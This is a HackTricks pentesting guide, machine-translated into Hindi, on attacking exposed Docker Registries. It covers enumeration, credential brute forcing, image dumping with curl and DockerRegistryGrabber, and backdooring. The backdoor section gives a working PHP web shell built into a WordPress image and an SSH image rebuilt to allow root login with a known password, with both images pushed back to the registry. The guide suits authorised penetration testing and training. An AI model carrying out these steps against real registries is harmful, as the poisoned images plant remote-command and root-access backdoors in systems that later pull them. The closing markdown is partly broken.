5000 - Pentesting Docker Registry

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

डॉकर इमेजेस के लिए एक डॉकर रजिस्ट्री नामक एक स्टोरेज और वितरण प्रणाली स्थापित है जो नामित होती है और कई संस्करणों में आ सकती है, जिन्हें टैग द्वारा विभाजित किया जा सकता है। ये इमेजेस डॉकर रिपॉजिटरी में जोड़ी जाती हैं जो रजिस्ट्री में होती हैं, प्रत्येक रिपॉजिटरी एक विशिष्ट इमेज के विभिन्न संस्करण संग्रहित करती है। प्रदान की गई कार्यक्षमता इमेजेस को स्थानीय रूप से डाउनलोड करने या रजिस्ट्री में अपलोड करने की अनुमति देती है, यदि उपयोगकर्ता के पास आवश्यक अनुमतियाँ हैं।

DockerHub डॉकर के लिए डिफ़ॉल्ट सार्वजनिक रजिस्ट्री के रूप में काम करता है, लेकिन उपयोगकर्ताओं को खुद का ऑन-प्रीमिस संस्करण चलाने का विकल्प है जो खुला स्रोत वाला डॉकर रजिस्ट्री/वितरण है या व्यावसायिक रूप से समर्थित Docker Trusted Registry का चयन कर सकते हैं। इसके अतिरिक्त, विभिन्न अन्य सार्वजनिक रजिस्ट्रियाँ ऑनलाइन मिल सकती हैं।

ऑन-प्रीमिस रजिस्ट्री से एक इमेज डाउनलोड करने के लिए निम्नलिखित कमांड का उपयोग किया जाता है:

docker pull my-registry:9000/foo/bar:2.1

यह कमांड my-registry डोमेन पर पोर्ट 9000 पर स्थानीय रजिस्ट्री से foo/bar इमेज संस्करण 2.1 लाता है। उल्टे, यदि 2.1 नवीनतम संस्करण है, तो DockerHub से एक ही इमेज डाउनलोड करने के लिए कमांड सरल हो जाता है:

docker pull foo/bar

डिफ़ॉल्ट पोर्ट: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

खोजना

इस सेवा को खोजने का सबसे आसान तरीका इसे nmap के आउटपुट पर पाना है। हालांकि, ध्यान दें कि यह एक HTTP आधारित सेवा है और यह HTTP प्रॉक्सी के पीछे हो सकता है और nmap इसे नहीं डिटेक्ट करेगा। कुछ fingerprints:

  • यदि आप / तक पहुँचते हैं तो प्रतिक्रिया में कुछ भी वापस नहीं आता है

  • यदि आप /v2/ तक पहुँचते हैं तो {} वापस आता है

  • यदि आप /v2/_catalog तक पहुँचते हैं तो आपको निम्नलिखित प्राप्त हो सकता है:

  • {"repositories":["alpine","ubuntu"]}

  • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

गणना

HTTP/HTTPS

डॉकर रजिस्ट्री को HTTP या HTTPS का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। इसलिए पहली चीज जो आपको करनी होगी वह यह है कि कौन सा कॉन्फ़िगर किया गया है:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

प्रमाणीकरण

डॉकर रजिस्ट्री को प्रमाणीकरण की आवश्यकता हो सकती है:

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

यदि Docker रजिस्ट्री प्रमाणीकरण की आवश्यकता है तो आप इसका ब्रूट फोर्स प्रयास कर सकते हैं इसका उपयोग करकेयदि आप मान्य प्रमाण पत्र पाते हैं तो आपको रजिस्ट्री को गणना करने के लिए उन्हें उपयोग करना होगा, curl में आप इस तरह से उन्हें उपयोग कर सकते हैं:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

DockerRegistryGrabber का उपयोग करके जांच

DockerRegistryGrabber एक पायथन उपकरण है जो डॉकर रजिस्ट्री को जांचने/डंप करने के लिए है (बिना या बुनियादी प्रमाणीकरण के)।

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888


python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

curl का उपयोग करके जांच

एक बार जब आपने डॉकर रजिस्ट्री तक पहुंच लिया है तो यहां कुछ कमांड हैं जिन्हें आप उपयोग कर सकते हैं उसे जांचने के लिए:

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

ध्यान दें कि जब आप blobs फ़ाइलें डाउनलोड और डीकंप्रेस करते हैं तो वर्तमान निर्देशिका में फ़ाइलें और फ़ोल्डर्स दिखाई देंगे। यदि आप सभी blobs डाउनलोड करके उन्हें एक ही फ़ोल्डर में डीकंप्रेस करते हैं तो वे पहले से डीकंप्रेस किए गए blobs के मानों को अधिलेखित कर देंगे, इसलिए सावधान रहें। प्रत्येक blob को अलग फ़ोल्डर में डीकंप्रेस करना दर्शाता है कि प्रत्येक blob की सटीक सामग्री की जांच करना रोचक हो सकता है।

डॉकर का उपयोग करके जाँच करना

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

WordPress इमेज में बैकडोरिंग

उस स्थिति में जहाँ आपने एक डॉकर रजिस्ट्री में एक वर्डप्रेस इमेज पाई है, आप इसे बैकडोर कर सकते हैं। बैकडोर बनाएँ:

shell.php
<?php echo shell_exec($_GET["cmd"]); ?>

एक Dockerfile बनाएं:

Dockerfile
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

नया इमेज बनाएं, जांचें कि यह बन गया है, और पुश करें:

docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it

SSH सर्वर इमेज में बैकडोरिंग

मान लीजिए कि आपने एक डॉकर रजिस्ट्री में एक SSH इमेज पाया है और आप इसे बैकडोर करना चाहते हैं। इमेज को डाउनलोड करें और इसे चलाएं:

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

एसएसएच इमेज से sshd_config फ़ाइल निकालें:

docker cp 4c989242c714:/etc/ssh/sshd_config .

और इसे सेट करने के लिए संशोधित करें: PermitRootLogin yes

निम्नलिखित जैसा एक Dockerfile बनाएं:

```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` **नया** इमेज **बनाएं**, **जांचें** कि यह बन गया है, और **पुश** करें: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## संदर्भ * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated